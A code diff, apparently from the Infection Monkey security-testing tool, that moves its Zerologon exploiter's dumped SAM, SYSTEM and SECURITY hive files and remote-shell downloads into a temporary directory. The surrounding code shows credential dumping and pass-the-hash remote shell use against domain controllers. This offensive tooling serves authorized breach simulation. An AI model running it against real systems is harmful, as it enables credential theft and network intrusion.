diff --git a/CHANGELOG.md b/CHANGELOG.md
index 5bf4916e6..41fdb69f2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
   collection time. #1102
 - Changed default BB test suite: if `--run-performance-tests` flag is not specified,
  performance tests are skipped.
+- Zerologon exploiter writes runtime artifacts to a secure temporary directory
+  instead of $HOME. #1143
 
 ### Fixed
 - Attempted to delete a directory when monkey config reset was called. #1054
diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py
index 232436cdf..019bf8291 100644
--- a/monkey/infection_monkey/exploit/zerologon.py
+++ b/monkey/infection_monkey/exploit/zerologon.py
@@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
 import logging
 import os
 import re
+import tempfile
 from binascii import unhexlify
 from typing import Dict, List, Optional, Tuple
 
@@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
         self.exploit_info["credentials"] = {}
         self.exploit_info["password_restored"] = None
         self._extracted_creds = {}
+        self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
+
+    def __del__(self):
+        self._secrets_dir.cleanup()
 
     def _exploit_host(self) -> bool:
         self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
@@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
             options = OptionsForSecretsdump(
                 dc_ip=self.dc_ip,
                 just_dc=False,
-                system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
-                sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
-                security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
+                system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
+                sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
+                security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
             )
 
             dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
@@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
         )
 
         wmiexec = Wmiexec(
-            ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
+            ip=self.dc_ip,
+            username=username,
+            hashes=":".join(user_pwd_hashes),
+            domain=self.dc_ip,
+            secrets_dir=self._secrets_dir,
         )
 
         remote_shell = wmiexec.get_remote_shell()
@@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
 
     def remove_locally_saved_HKLM_keys(self) -> None:
         for name in ["system", "sam", "security"]:
-            path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
+            path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
             try:
                 os.remove(path)
             except Exception as e:
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
index 3097610fb..15429eb4a 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
@@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
 class RemoteShell(cmd.Cmd):
     CODEC = sys.stdout.encoding
 
-    def __init__(self, share, win32Process, smbConnection, outputFilename):
+    def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
         cmd.Cmd.__init__(self)
         self.__share = share
         self.__output = "\\" + outputFilename
@@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
         self.__transferClient = smbConnection
         self.__pwd = str("C:\\")
         self.__noOutput = False
+        self.__secrets_dir = secrets_dir
 
         # We don't wanna deal with timeouts from now on.
         if self.__transferClient is not None:
@@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
             newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
             drive, tail = ntpath.splitdrive(newPath)
             filename = ntpath.basename(tail)
-            local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename)
+            local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
             fh = open(local_file_path, "wb")
             LOG.info("Downloading %s\\%s" % (drive, tail))
             self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
index 2486998e4..70f3d5a07 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
@@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
 class Wmiexec:
     OUTPUT_FILENAME = "__" + str(time.time())
 
-    def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
+    def __init__(
+        self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
+    ):
         self.__ip = ip
         self.__username = username
         self.__password = password
         self.__domain = domain
         self.__lmhash, self.__nthash = hashes.split(":")
         self.__share = share
+        self.__secrets_dir = secrets_dir
         self.shell = None
 
     def connect(self):
@@ -107,7 +110,7 @@ class Wmiexec:
         self.connect()
         win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
         self.shell = RemoteShell(
-            self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
+            self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
         )
         return self.shell